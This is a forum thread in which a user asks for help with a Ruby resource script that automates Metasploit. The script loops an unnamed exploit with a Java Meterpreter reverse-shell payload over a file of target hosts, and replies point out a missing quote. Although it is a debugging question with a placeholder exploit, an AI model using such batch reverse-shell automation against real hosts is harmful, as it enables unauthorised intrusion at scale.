Metasploit_User Posted January 20, 2019 Share Posted January 20, 2019 Hello am not sure if this is the right place to post but ill give it a try i've been trying to automate some tasks in metasploit using ruby. <ruby> # msfconsole commands hostsfile="host.txt" hosts=[] File.open(hostsfile,"r") do |f| f.each_line do |line| hosts.push line.strip end end self.run_single("use some exploit") self.run_single("set target 1") self.run_single("set rhosts 0.0.0.0") self.run_single("etg autorunscript multi_console_command") self.run_single("set rport 8080") self.run_single("set payload java/meterpreter/reverse_tcp") self.run_single("setg lhost <local_ip>) self.run_single("set ExitOnSession false") self.run_single("use THREADS 5") hosts.each do |rhost| self.run_single("set rhost #{rhost}") self.run_single("exploit -j -z") end </ruby> but each time i run msfconsole -r glas.rc i get an error [*] Processing myscript.rc for ERB directives. [*] resource (myscript.rc)> Ruby Code (572 bytes) [-] resource (myscript.rc)> Ruby Error: SyntaxError /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:65: syntax error, unexpected tIDENTIFIER, expecting ')' self.run_single("set RHOSTS #{rhost}") ^ /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:66: syntax error, unexpected keyword_end, expecting end-of-input un_single("exploit -j -z") end ^ ["/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `eval'", "/opt/metasploit-framework/embedded/framework/lib/rex/ui/text/resource.rb:61:in `load_resource'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:183:in `block in initialize'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `each'", "/opt/metasploit-framework/embedded/framework/lib/msf/ui/console/driver.rb:182:in `initialize'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `new'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:62:in `driver'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/console.rb:48:in `start'", "/opt/metasploit-framework/embedded/framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/opt/metasploit-framework/bin/../embedded/framework/msfconsole:49:in `<main>'"] [*] Starting persistent handler(s)... i would really appreciate it if you can help me or even push me in the right direction. Thanks a lot. Quote Link to comment Share on other sites More sharing options...
Bigbiz Posted January 20, 2019 Share Posted January 20, 2019 You must set the target host ip 1 Quote Link to comment Share on other sites More sharing options...
Metasploit_User Posted January 20, 2019 Author Share Posted January 20, 2019 am sorry i was kind of tired couldnt focus enough i made a typo self.run_single("set rhosts 0.0.0.0") self.run_single("etg autorunscript multi_console_command") self.run_single("set rport 8080") self.run_single("set payload java/meterpreter/reverse_tcp") self.run_single("setg lhost <local_ip>) self.run_single("set ExitOnSession false") i though am setting my lhost to 0.0.0.0 but instead i typed rhosts 😞 thigns happens when we loose focus thx any way this subject is solved 🙂 Quote Link to comment Share on other sites More sharing options...
digininja Posted January 20, 2019 Share Posted January 20, 2019 You are missing a quote at the end of the lhost line breaking the rest of the script. Quote Link to comment Share on other sites More sharing options...
Bigbiz Posted January 20, 2019 Share Posted January 20, 2019 🙂  Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.